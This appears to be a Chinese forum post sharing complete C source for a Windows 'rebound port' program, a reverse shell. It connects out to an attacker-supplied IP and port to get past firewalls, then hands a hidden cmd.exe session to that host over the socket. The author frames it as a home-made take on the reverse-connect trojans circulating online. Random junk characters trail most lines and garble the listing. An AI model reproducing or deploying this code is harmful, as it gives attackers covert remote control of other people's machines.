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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 VMee"'08  
(GW"iL#.  
/* ============================== `<Q[$z  
Rebound port in Windows NT kl~)<,/@  
By wind,2006/7 UkTq0-N;2  
===============================*/ Ke;eI+P[  
#include @!Z1*a.  
#include ,M.phRJ-`  
}Q?a6(4  
#pragma comment(lib,"wsock32.lib") K1+4W=|  
Ob&m&2s,  
void OutputShell(); KB"N',kG  
SOCKET sClient; 9Q.@RO$%C  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; )n&6= Li  
M!/!*,~  
void main(int argc,char **argv) 2dyS_2u  
{ 5|jsv)M+  
WSADATA stWsaData; -U{CWn3G  
int nRet; = yFOH~_  
SOCKADDR_IN stSaiClient,stSaiServer; |iA8aHFU  
_f1;Hhoa  
if(argc != 3) '5m4kDs  
{ FN w0x6,~R  
printf("Useage:\n\rRebound DestIP DestPort\n"); hh-a+] c0  
return; #z1/VZ  
} 5SMV3~*P  
k\TP3*fD  
WSAStartup(MAKEWORD(2,2),&stWsaData); yW)r`xpY  
h"y~!NWn  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B1V+CP3t  
3#0y.. F  
stSaiClient.sin_family = AF_INET; UQg_y3 #V  
stSaiClient.sin_port = htons(0); SHYbQF2  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); LVNA`|>  
nWes,K6T  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) x[y}{T  
{ #Dea$  
printf("Bind Socket Failed!\n"); fm^J-  
return; wVq9t|V  
} 8 :;]tt  
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stSaiServer.sin_family = AF_INET; i-}T t<^  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); TILH[r&Jg  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); JvsL]yRT  
p/qu4[Mm  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) P6I<M}p  
{ (!PsK:wc  
printf("Connect Error!"); %g~&$oZmq  
return; sU+8'&vBp  
} z1^3~U$}  
OutputShell(); ([dwZ6$/J  
} 8OMMV,QF  
jLA)Y [h  
void OutputShell() 5WA:gygB&  
{ ["#H/L]3  
char szBuff[1024]; c*y*UG  
SECURITY_ATTRIBUTES stSecurityAttributes; ^`[<%.  
OSVERSIONINFO stOsversionInfo; 4H^ACw  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 8Vjv #pm  
STARTUPINFO stStartupInfo; ~Zn|(  
char *szShell; Na4O( d`  
PROCESS_INFORMATION stProcessInformation; }H<Z`3_U%  
unsigned long lBytesRead; '1rGsfp6In  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Peo-t*-06  
L]%!YP\<T  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ORM3o ucP  
stSecurityAttributes.lpSecurityDescriptor = 0; ~"_!O+Pj  
stSecurityAttributes.bInheritHandle = TRUE; A0Q`Aqs  
DK?Z   
4TI`   
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ZXN`8!]&  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); `-e9#diQe  
^s#+`Y05/  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); BNF*1JO  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kl[(!"p  
stStartupInfo.wShowWindow = SW_HIDE; | TG6-e_  
stStartupInfo.hStdInput = hReadPipe; Vc;g$Xr[  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _^eiN'B  
-\USDi(  
GetVersionEx(&stOsversionInfo); w?zy/+N~  
p>i8aN  
switch(stOsversionInfo.dwPlatformId) $)nPj_h  
{ +_kA&Q(t  
case 1: V7}'g6X  
szShell = "command.com"; T`MM<+^G  
break; 1V9AnzwX  
default: E=CAWj\  
szShell = "cmd.exe"; s)fahc(@E  
break; Q@W!6]*\  
} =)G]\W)m  
Caz5q|Oo  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); d#XgO5eyO  
<.Pt%Kg^BS  
send(sClient,szMsg,77,0); (7N!Jvg9  
while(1) i=*H|)  
{ >tPf.xI|l  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); {8qcM8  
if(lBytesRead) 1Jdx#K  
{ >kxRsiKV  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); U?d  I  
send(sClient,szBuff,lBytesRead,0); g4Q' Fub+I  
} P(FlU]q  
else 5|~nX8>  
{ |x.^rx`  
lBytesRead=recv(sClient,szBuff,1024,0); AE+BrN +"2  
if(lBytesRead<=0) break; H2H[DVKv  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); =|``d-  
} d=meh4Y  
} %[5GGd5w  
4F9!3[}qF  
return; D/Ok  
}
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